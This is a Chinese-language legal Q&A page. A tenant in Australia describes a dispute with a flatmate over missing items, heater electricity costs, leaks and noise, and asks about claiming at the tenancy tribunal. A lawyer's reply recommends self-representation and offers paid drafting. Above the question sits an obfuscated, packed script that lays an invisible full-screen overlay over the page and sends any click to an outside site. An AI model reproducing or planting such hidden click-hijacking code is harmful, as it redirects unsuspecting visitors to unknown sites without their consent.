关于租赁纠纷的问题

<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>郑律师,您好,
我想问一问关于租赁纠纷的问题:
现在的flatmate令我十分烦恼,刚来没几天,我的水杯就不见了,害我要到超市再买,然后房东提供的heater被她搬进她自己的房间用,从8月到12月放了数月之久,然后电费飙升至七百多刀。说了好几次,她也不听。最近天很热她才拿出来。最令人崩溃的是,她是穿着短衣短裤用heater用了很久,到了11,12月她还在用heater!还偷用我的东西包括牙膏,洗发水和沐浴液,这个apartment就住我和她两人,她还不承认,害的我不得不尽量把这些东西收进房间或藏起来。而且她进来后,还弄得洗手间天花板喷水和厨房水龙头漏水。还有,她刚来的那一个月左右,天天在房间很大声讲话到凌晨3,4点,还乱扔垃圾,把未洗的浸着水的锅放在水槽很多天,滋生飞虫……
已经到tenancy branch咨询过,说中介违反合同,未经我同意安排人进来住,可以到tribunal去申请索赔,请问过程复杂吗,要请律师吗?10月底之后的实际电费要等我搬走断电后才出来,如果flatmate不付她那部分电费或联络不到人,可以把中介和这flatmate一起告吗?
先谢谢了
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这个情况比较复杂,我建议你详细列出她的不是,然后向Tenancy  Tribuanl投诉索偿。

因为你索偿的款项不多,所以聘请律师是不划算的。

如果你需要的话,我可以替你草拟一份申请书,入禀Tenancy  Tribuanl租务审裁处。一般的收费是1000元+GST。

租务审裁处你可以自己亲自出席,他们的聆讯程序都是比较简单的。因此一般人都可以应付。

如果你想进一步咨询,你可以直接与本律师联系。




此致


郑玉桂律师敬上

澳大利亚国际公证律师



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